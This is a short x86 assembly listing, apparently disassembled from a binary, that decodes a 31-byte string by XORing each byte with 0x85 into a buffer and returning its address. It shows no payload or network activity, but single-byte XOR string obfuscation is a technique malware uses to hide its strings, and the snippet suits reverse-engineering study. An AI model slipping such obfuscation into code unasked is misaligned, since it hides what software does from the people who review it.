mov byte [0x4a0452], 0x85
xor eax, eax
mov cl, byte [eax + 0x4a0434]
xor cl, 0x85
mov byte [eax + 0x4a0534], cl
inc eax
cmp eax, 0x1f
jb 0x40ecf6
mov eax, 0x4a0534
ret